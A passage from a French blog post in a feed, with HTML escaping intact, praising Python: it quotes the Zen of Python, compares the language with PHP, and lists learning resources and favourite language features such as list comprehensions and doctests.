ne cesse de me surprendre. Les premiers mots qui me viennent à l&amp;#8217;esprit
à propos de Python, sont &amp;#8220;logique&amp;#8221; et &amp;#8220;simple&amp;#8221;. Et pourtant puissant
pour autant. Je ne manque d&amp;#8217;ailleurs pas une occasion pour faire un peu
d&amp;#8217;&lt;em&gt;évangélisation&lt;/em&gt; auprès des quelques personnes qui veulent bien&amp;nbsp;m&amp;#8217;écouter.&lt;/p&gt;
&lt;h2 id="the-zen-of-python"&gt;The Zen of&amp;nbsp;Python&lt;/h2&gt;
&lt;p&gt;Avant toute autre chose, je pense utile de citer Tim Peters, et &lt;a href="http://www.python.org/dev/peps/pep-0020/"&gt;le
&lt;span class="caps"&gt;PEP20&lt;/span&gt;&lt;/a&gt;, qui constituent une
très bonne introduction au langage, qui prends la forme d&amp;#8217;un &lt;em&gt;easter
egg&lt;/em&gt; présent dans&amp;nbsp;python&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;import&lt;span class="w"&gt; &lt;/span&gt;this
The&lt;span class="w"&gt; &lt;/span&gt;Zen&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;Python,&lt;span class="w"&gt; &lt;/span&gt;by&lt;span class="w"&gt; &lt;/span&gt;Tim&lt;span class="w"&gt; &lt;/span&gt;Peters

Beautiful&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;better&lt;span class="w"&gt; &lt;/span&gt;than&lt;span class="w"&gt; &lt;/span&gt;ugly.
Explicit&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;better&lt;span class="w"&gt; &lt;/span&gt;than&lt;span class="w"&gt; &lt;/span&gt;implicit.
Simple&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;better&lt;span class="w"&gt; &lt;/span&gt;than&lt;span class="w"&gt; &lt;/span&gt;complex.
Complex&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;better&lt;span class="w"&gt; &lt;/span&gt;than&lt;span class="w"&gt; &lt;/span&gt;complicated.
Flat&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;better&lt;span class="w"&gt; &lt;/span&gt;than&lt;span class="w"&gt; &lt;/span&gt;nested.
Sparse&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;better&lt;span class="w"&gt; &lt;/span&gt;than&lt;span class="w"&gt; &lt;/span&gt;dense.
Readability&lt;span class="w"&gt; &lt;/span&gt;counts.
Special&lt;span class="w"&gt; &lt;/span&gt;cases&lt;span class="w"&gt; &lt;/span&gt;aren&lt;span class="s1"&gt;&amp;#39;t special enough to break the rules.&lt;/span&gt;
&lt;span class="s1"&gt;Although practicality beats purity.&lt;/span&gt;
&lt;span class="s1"&gt;Errors should never pass silently.&lt;/span&gt;
&lt;span class="s1"&gt;Unless explicitly silenced.&lt;/span&gt;
&lt;span class="s1"&gt;In the face of ambiguity, refuse the temptation to guess.&lt;/span&gt;
&lt;span class="s1"&gt;There should be one-- and preferably only one --obvious way to do it.&lt;/span&gt;
&lt;span class="s1"&gt;Although that way may not be obvious at first unless you&amp;#39;&lt;/span&gt;re&lt;span class="w"&gt; &lt;/span&gt;Dutch.
Now&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;better&lt;span class="w"&gt; &lt;/span&gt;than&lt;span class="w"&gt; &lt;/span&gt;never.
Although&lt;span class="w"&gt; &lt;/span&gt;never&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;often&lt;span class="w"&gt; &lt;/span&gt;better&lt;span class="w"&gt; &lt;/span&gt;than&lt;span class="w"&gt; &lt;/span&gt;*right*&lt;span class="w"&gt; &lt;/span&gt;now.
If&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;implementation&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;hard&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;explain,&lt;span class="w"&gt; &lt;/span&gt;it&lt;span class="s1"&gt;&amp;#39;s a bad idea.&lt;/span&gt;
&lt;span class="s1"&gt;If the implementation is easy to explain, it may be a good idea.&lt;/span&gt;
&lt;span class="s1"&gt;Namespaces are one honking great idea -- let&amp;#39;&lt;/span&gt;s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;more&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;those!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;J&amp;#8217;ai la vague impression que c&amp;#8217;est ce que j&amp;#8217;ai toujours cherché à faire
en &lt;span class="caps"&gt;PHP&lt;/span&gt;, et particulièrement dans &lt;a href="http://www.spiral-project.org"&gt;le framework
Spiral&lt;/a&gt;, mais en ajoutant ces concepts
dans une sur-couche au langage. Ici, c&amp;#8217;est directement de &lt;em&gt;l&amp;#8217;esprit&lt;/em&gt; de
python qu&amp;#8217;il s&amp;#8217;agit, ce qui signifie que la plupart des bibliothèques
python suivent ces concepts. Elle est pas belle la vie&amp;nbsp;?&lt;/p&gt;
&lt;h2 id="comment-commencer-et-par-ou"&gt;Comment commencer, et par ou&amp;nbsp;?&lt;/h2&gt;
&lt;p&gt;Pour ma part, j&amp;#8217;ai commencé par la lecture de quelques livres et
articles intéressants, qui constituent une bonne entrée en matière sur
le sujet (La liste n&amp;#8217;est bien évidemment pas exhaustive et vos
commentaires sont les bienvenus)&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://diveintopython.adrahon.org/"&gt;Dive into&amp;nbsp;python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.swaroopch.com/notes/Python_fr:Table_des_Matières"&gt;A byte of&amp;nbsp;python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.fr/Python-Petit-guide-lusage-développeur/dp/2100508830"&gt;Python: petit guide à l&amp;#8217;usage du développeur
    agile&lt;/a&gt;
    de &lt;a href="http://tarekziade.wordpress.com/"&gt;Tarek&amp;nbsp;Ziadé&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.python.org/index.html"&gt;La documentation officielle
    python&lt;/a&gt;, bien sûr&amp;nbsp;!&lt;/li&gt;
&lt;li&gt;&lt;a href="http://video.pycon.fr/videos/pycon-fr-2009/"&gt;Les vidéos du
    pyconfr 2009&lt;/a&gt;!&lt;/li&gt;
&lt;li&gt;Un peu de temps, et une console python ouverte&amp;nbsp;:)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J&amp;#8217;essaye par ailleurs de partager au maximum les ressources que je
trouve de temps à autres, que ce soit &lt;a href="http://www.twitter.com/ametaireau"&gt;via
twitter&lt;/a&gt; ou &lt;a href="http://delicious.com/ametaireau"&gt;via mon compte
delicious&lt;/a&gt;. Allez jeter un œil &lt;a href="http://delicious.com/ametaireau/python"&gt;au tag
python&lt;/a&gt; sur mon profil, peut
être que vous trouverez des choses intéressantes, qui&amp;nbsp;sait!&lt;/p&gt;
&lt;h2 id="un-python-sexy"&gt;Un python&amp;nbsp;sexy&lt;/h2&gt;
&lt;p&gt;Quelques fonctionnalités qui devraient vous mettre l&amp;#8217;eau à la&amp;nbsp;bouche:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://docs.python.org/library/stdtypes.html#comparisons"&gt;Le chaînage des opérateurs de
    comparaison&lt;/a&gt;
    est possible (a\&amp;lt;b \&amp;lt;c dans une&amp;nbsp;condition)&lt;/li&gt;
&lt;li&gt;Assignation de valeurs multiples (il est possible de faire a,b,c =
    1,2,3 par&amp;nbsp;exemple)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.python.org/tutorial/datastructures.html"&gt;Les listes&lt;/a&gt;
    sont simples à manipuler&amp;nbsp;!&lt;/li&gt;
&lt;li&gt;Les &lt;a href="http://docs.python.org/tutorial/datastructures.html#list-comprehensions"&gt;list
    comprehension&lt;/a&gt;,
    ou comment faire des opérations complexes sur les listes, de manière&amp;nbsp;simple.&lt;/li&gt;
&lt;li&gt;Les
    &lt;a href="http://docs.python.org/library/doctest.html?highlight=doctest"&gt;doctests&lt;/a&gt;:
    ou comment faire des tests directement dans la documentation de vos
    classes, tout en la documentant avec de vrais&amp;nbsp;exemples.&lt;/li&gt;
&lt;li&gt;Les
    &lt;a href="http://www.python.org/doc/essays/metaclasses/meta-vladimir.txt"&gt;métaclasses&lt;/a&gt;,
    ou comment contrôler la manière dont les classes se&amp;nbsp;construisent&lt;/li&gt;
&lt;li&gt;Python est &lt;a href="http://wiki.python.org/moin/Why%20is%20Python%20a%20dynamic%20language%20and%20also%20a%20strongly%20typed%20language"&gt;un langage à typage fort
    dynamique&lt;/a&gt;:
    c&amp;#8217;est ce qui m&amp;#8217;agaçait avec &lt;span class="caps"&gt;PHP&lt;/span&gt; qui est un langage à typage faible&amp;nbsp;dynamique.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cous pouvez également aller regarder &lt;a href="http://video.pycon.fr/videos/free/53/"&gt;l&amp;#8217;atelier donné par Victor Stinner
durant le Pyconfr 09&lt;/a&gt;. Have fun&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry></feed>